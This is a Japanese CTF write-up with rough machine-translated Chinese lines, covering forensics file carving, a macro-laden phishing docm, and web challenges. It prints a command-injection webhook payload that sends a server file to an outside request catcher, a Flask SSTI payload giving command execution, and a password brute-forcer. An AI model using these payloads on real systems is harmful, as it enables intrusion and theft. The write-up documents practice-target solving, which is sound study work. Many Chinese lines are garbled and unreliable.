- [forensics] Unsupported Format
[取证]不支持的格式 - [forensics] Congratulations
[取证] 祝贺 - [forensics] Capybara [取证] 水豚
- [web] Scavenger Hunt [网络] 寻宝游戏
- [web] Checkmate [网络] 将军
- [web] Flower Shop [网络] 花店
- [web] Pick Your Starter
[网络]选择您的开胃菜
[forensics] Unsupported Format
[取证]不支持的格式
jpgファイルが与えられるが破損しているので修復する問題。
JPG文件被给出一个损坏的问题来修复。
バイナリエディタで眺めると0x100付近にJFIFという文字が見える。
如果你在二进制编辑器中查看它0x100你可以在它附近看到 JFIF 这个词。
通常jpegファイルの先頭周りについている文字列なのだが、ちゃんと開くjpegファイルと比較しても違和感がある。
它通常是 JPEG 文件开头周围的字符串,但与正确打开的 JPEG 文件相比,它感觉很奇怪。
先頭が違う?と思い、適当にforemost -v Flag.jpg
でfile carvingしなおすと開けるjpegファイルが抽出でき、
一开始不一样? 我想,如果你用适当的重新雕刻文件,你可以提取可以打开的JPEG文件 foremost -v Flag.jpg
,
フラグが書いてある。 上面写着一面旗帜。
[forensics] Congratulations
[取证] 祝贺
docmファイルが与えられる。 给出 DOCM 文件。
oleidで見てみるが、特に気になる部分はない。
我会用OLID看看它,但没有什么特别困扰我。
zipに拡張子を変えて解凍してみる。 将扩展名更改为 zip 并尝试解压缩。
word/media/image1.pngを見るとDocuSignを騙ったフィッシングドキュメントでBECを想定しているっぽい。
文字/媒体/图像1. 查看 png,似乎 BEC 被认为是欺骗 DocuSign 的网络钓鱼文档。
word/vbaProject.binがあり、マクロが埋め込まれていた。(oleid教えてくれないのね)
有一个带有嵌入式宏的单词/vbaProject .bin。 (你不会告诉我你的油腻,是吗?
olevbaで中身を見てみよう。 让我们来看看OLEVBA的内容。olevba -c /vbaProject.bin
で抽出可能。 olevba -c /vbaProject.bin
可提取。
Dim x51 As String Dim x49 As String x51 = "C:\Program Files\Internet Explorer\iexplore.exe" Dim x50 As Integer Dim x47 As Double For x50 = 1 To 100 x47 = Sqr(x50) * 2 + 5 / x50 Next x50 MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg" x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D Shell x51 & " " & x49, vbNormalFocus Application.Wait Now + TimeValue("00:00:02") MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds" Dim x45(1 To 10) As Integer Dim x46 As Integer For x50 = 1 To 10 x46 = Int((100 - 1 + 1) * Rnd + 1) x45(x50) = x46 Next x50 Dim x52 As Integer Dim x53 As Integer For x50 = 1 To 9 For x53 = x50 + 1 To 10 If x45(x50) > x45(x53) Then x52 = x45(x50) x45(x50) = x45(x53) x45(x53) = x52 End If Next x53 Next x50 Dim x54 As String For x50 = 1 To 10 x54 = x54 & x45(x50) & ", " Next x50 MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC" Dim x55 As Worksheet Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count)) x55.Name = "TtrZ4" Dim x56 As ChartObject Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200) Dim x57 As Range Set x57 = x55.Range("A1:B5") x57.Value = Application.WorksheetFunction.RandBetween(1, 100) x56.Chart.SetSourceData Source:=x57 x56.Chart.ChartType = xlColumnClustered Exit Sub ErrorHandler: MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b" End Sub
色々書いてあるが、以下を返還するとフラグになっていた。
它以各种方式编写,但是当我返回以下内容时,它是一个标志。
x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D
[forensics] Capybara [取证] 水豚
jpegファイルが与えられる。 给出 JPEG 文件。
色々試すとbinwalkでFile Carvningすることでaudio.wavというファイルが得られる。
如果您尝试各种方法,则可以通过带有binwalk的文件雕刻获得一个名为audio.wav的文件。
$ binwalk -e capybara.jpeg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1.01 151174 0x24E86 Zip archive data, at least v2.0 to extract, compressed size: 6902, uncompressed size: 919160, name: audio.wav 158170 0x269DA End of Zip archive, footer length: 22
音を聞くとモールス信号なので、https://morsecode.world/international/decoder/audio-decoder-adaptive.html
当你听到声音时,它是摩尔斯电码,所以 https://morsecode.world/international/decoder/audio-decoder-adaptive.html
あたりを使ってデコードする。 使用per解码。
結果にブレがあるのでうまく何回か試して結果を調整しながら使うと、hex stringsが得られ、hex to asciiでデコードすると
由于结果是模糊的,如果你多次尝试并在调整结果时使用它,你会得到十六进制字符串,如果你用十六进制解码为 ascii,
フラグが得られる。 获得标志。
[web] Scavenger Hunt [网络] 寻宝游戏
ソースコード無し。 没有源代码。
フラグがページのあちこちに散らばってるので探して持ってくる問題。
旗帜散落在整个页面上,因此请寻找它们并随身携带。
Burp Suiteで開いて巡回して、ソースコード確認して、みたいな流れを繰り返して拾っていくといい。
使用Burp Suite打开它,绕过它,检查源代码,然后通过重复该过程来获取它。
GET /
->Flag 1/5 - PCTF{Hunt
GET /
のソースコード -><!-- Flag 2/5 - 3r5_4n -->
GET /
源代码 -><!-- Flag 2/5 - 3r5_4n -->
GET /robots.txt
(これだけ推測で頑張るしかない) -># Flag 3/5 - D_g4tH3
GET /robots.txt
(我别无选择,只能猜测这么多)-># Flag 3/5 - D_g4tH3
GET /script1.js
->console.log("Flag 4/5 - R5_e49");
GET /script2.js
->document.cookie = "Flag 5/5=e4a541}";
[web] Checkmate [网络] 将军
ユーザー名パスワードを入れるサイトが与えられる。 您将获得一个输入用户名和密码的网站。
以下のようにjavascriptでクライアント側で検証実施している。
验证在客户端使用 javascript 执行,如下所示。
nameは以下のように検証している。 名称验证如下。
function checkName(name){ var check = name.split("").reverse().join(""); return check === "uyjnimda" ? !0 : !1; }
反転してuyjnimdaと比較しているので、adminjyu
とすればいい。
由于它是颠倒的并与uyjnimmda进行比较,假设 adminjyu
.
passwordは以下のORで判定している。 密码由以下 OR 确定。
function checkLength(pwd){ return (password.length % 6 === 0 )? !0:!1; } function checkValidity(password){ const arr = Array.from(password).map(ok); function ok(e){ if (e.charCodeAt(0)<= 122 && e.charCodeAt(0) >=97 ){ return e.charCodeAt(0); }} let sum = 0; for (let i = 0; i < arr.length; i+=6){ var add = arr[i] & arr[i + 2]; var or = arr[i + 1] | arr[i + 4]; var xor = arr[i + 3] ^ arr[i + 5]; if (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor; } return sum === 0xbb ? !0 : !1; }
ANDで判定すればよさそうだが、ORになっている。
通过 AND 判断似乎没问题,但它是 OR。
理由はよくわからないが、どっちも通るものを作ればよさそう。
我不知道为什么,但如果我做一些可以工作的东西,那就太好了。
まずif (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;
の部分をみると、1ループでsumにどれだけ加算されるかは分かる。
if (add === 0x60 && or === 0x61 && xor === 0x6) sum += add + or - xor;
首先,如果您查看 ,您可以看到在一个循环中将多少相加到总和。
$ python3 -c "print(0x60+0x61-0x6);print(0xbb)" 187 187
という感じなので、パスワードの長さは6文字と見て良さそう。
因此,看到密码的长度为6个字符看起来很好。
ソースコードに// /check.php
とコメントがあるので、GETでアクセスしてみるとパスワードの入力画面が出てくる。
源代码中有一个注释 // /check.php
,因此当您使用 GET 访问它时,会出现密码输入屏幕。
上記の条件を満たすパスワードは1つではないので、条件を満たすものを使ってブルートフォースすればよさそう。
没有一个满足上述条件的密码,因此您可以使用满足上述条件的密码进行暴力破解。
以下のようにブルートフォーサーを書いて放っておくと、パスワードがsadsau
のときにフラグが得られる。
如果您按如下方式编写暴力破解程序并使其不理会,则在密码 sadsau
为 .
import time import requests for v0 in range(97,122 + 1): for v1 in range(97,122 + 1): for v2 in range(97,122 + 1): for v3 in range(97,122 + 1): for v4 in range(97,122 + 1): for v5 in range(97,122 + 1): if (v0 & v2) == 0x60 and (v1 | v4) == 0x61 and (v3 ^ v5) == 0x6: passwd = chr(v0) + chr(v1) + chr(v2) + chr(v3) + chr(v4) + chr(v5) print(passwd) t = requests.post('http://chal.pctf.competitivecyber.club:9096/check.php', data={'password':passwd}).text if 'incorrect password' not in t: print(t) print('did it!') exit(0) time.sleep(0.1)
[web] Flower Shop [网络] 花店
phpで作られたwebサイトが与えられる。 您将获得一个用PHP制作的网站。GET /admin.php
をセッションのusernameがadminの状態で入ればフラグがもらえる。
GET /admin.php
如果会话的用户名进入管理员状态,您将获得一个标志。
一番怪しいのが、パスワードリセット処理を実施しているapp/classes/reset.class.php
の以下の部分。
最可疑的部分 app/classes/reset.class.php
是密码重置过程的以下部分。
exec("php ../scripts/send_pass.php " . $this->tmpPass . " " . $this->wh . " > /dev/null 2>&1 &");
明らかに不自然。 显然不自然。
埋め込み変数の出元を辿ると$this->wh
はユーザー登録時に登録するWebhookのURLを指していて、
如果跟踪嵌入变量的来源,则它指向用户注册时要注册的 webhook 的 URL, $this->wh
正常動作であれば、このWebhook先にパスワードリセット後の新しいパスワードが送られる。
如果它正常工作,则密码重置后的新密码将发送到此 webhook 目标。
Webhook URLは登録時に以下のようなバリデーションを実施する。
网络钩子 URL 在注册时按如下方式验证。
if (!filter_var($this->wh, FILTER_VALIDATE_URL)) { header("location: ../login.php?error=NotValidWebhook"); exit(); }
コマンドインジェクションに対してはこれだけでは不十分で、https://[yours].requestcatcher.com/test?q=$(id)
のようにWebhookを仕込み、
这对于命令注入来说是不够的,并且 https://[yours].requestcatcher.com/test?q=$(id)
像
パスワードリセット処理を実行すると、idの出力が得られる。
执行密码重置过程时,将获取 ID 的输出。
あとはフィルタリングを回避しながら、出力もうまく調整しながら/var/www/html/admin.php
にあるフラグを取得すればいい。
您所要做的就是获取 /var/www/html/admin.php
标志,同时避免过滤和调整输出。
自分は以下のようなURLを使用した。 我使用了以下网址。
http://[yours].requestcatcher.com/test?q=$(dd${IFS}if=/var/www/html/admin.php${IFS}bs=1${IFS}skip=325)
空白がバリデーションで弾かれるので${IFS}
を利用している。
空格由 ${IFS}
验证播放,因此使用它。
あと、そのままadmin.phpを出力させて送ると空白とかでちゃんと送れないので、ddコマンドで先頭バイトを適当にskipして送っている。
另外,照原样,管理员。 如果输出 PHP 并发送,由于空格原因无法正确发送,因此使用 dd 命令适当跳过第一个字节并发送。
[web] Pick Your Starter
[网络]选择您的开胃菜
ポケモンの最初の御三家のどれを選ぶか選択できるサイトが与えられる。
您将获得一个网站,您可以在其中选择前三个神奇宝贝家族中的哪一个。
ちなみにヒトカゲを選ぶと/charmander
というパスに飛ばされる。
顺便说一句,如果您选择 魅力 ,您将 /charmander
被跳过通行证。
色々試すと/{{7*7}}
、つまり、GET /%7B%7B7*7%7D%7D
を試すと49と帰ってきてSSTI可能なことが分かる。
如果你尝试各种事情,也就是说 /{{7*7}}
,如果你 GET /%7B%7B7*7%7D%7D
尝试,你会得到49,你会发现SSTI是可能的。
触ってみるとブラックリストがあるような気がする。
当我触摸它时,我觉得有一个黑名单。
[] config | __builtins__ " ' +
さまよっていると、 徘徊时,http://chal.pctf.competitivecyber.club:5555/%7B%7Brequest.application.__globals__.__loader__.__init__.__globals__.sys.modules.os.popen(request.args.a).read()%7D%7D?a=id
でidコマンドが実行できた。 id 命令在 中执行。
cat app.py
としてコードを見てみる。 cat app.py
让我们看一下代码。
from flask import Flask, render_template, render_template_string app = Flask(__name__) app.static_folder = 'static' starter_pokemon = { "charmander" : { "name": "Charmander", "type": "Fire", "abilities": ["Blaze", "Solar Power"], "height": "0.6m", "weight": "8.5 kg", "description": "Charmander is a Fire-type Pokémon known for its burning tail flame.", "picture": "https://assets.pokemon.com/assets/cms2/img/pokedex/full/004.png" }, "bulbasaur" : { "name": "Bulbasaur", "type": "Grass/Poison", "abilities": ["Overgrow", "Chlorophyll"], "height": "0.7m", "weight": "6.9 kg", "description": "Bulbasaur is a dual-type Grass/Poison Pokémon known for the plant bulb on its back.", "picture": "https://archives.bulbagarden.net/media/upload/f/fb/0001Bulbasaur.png" }, "squirtle" : { "name": "Squirtle", "type": "Water", "abilities": ["Torrent", "Rain Dish"], "height": "0.5m", "weight": "9.0 kg", "description": "Squirtle is a Water-type Pokémon known for its water cannons on its back.", "picture": "https://static.pokemonpets.com/images/monsters-images-800-800/7-Squirtle.webp" }, } def blacklist(string): block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"] for item in block: if item in string: return True return False @app.route('/') def index(): render = render_template('index.html') return render_template_string(render) @app.route('/<pokemon>') def detail(pokemon): pokemon = pokemon.lower() try: render = render_template('pokemon_name.html', data=starter_pokemon[pokemon]) return render_template_string(render) except: if blacklist(pokemon): return render_template('error.html') render = render_template('404.html', pokemon=pokemon) return render_template_string(render) if __name__ == '__main__': app.run(debug=True)
ブラックリスト大体あってましたね。 有一个黑名单。
updateは何をブロックしたかったんだろう。 更新想要阻止什么?
ともあれ、cat /flag.txt
でフラグ獲得 无论如何,标志获取 cat /flag.txt
与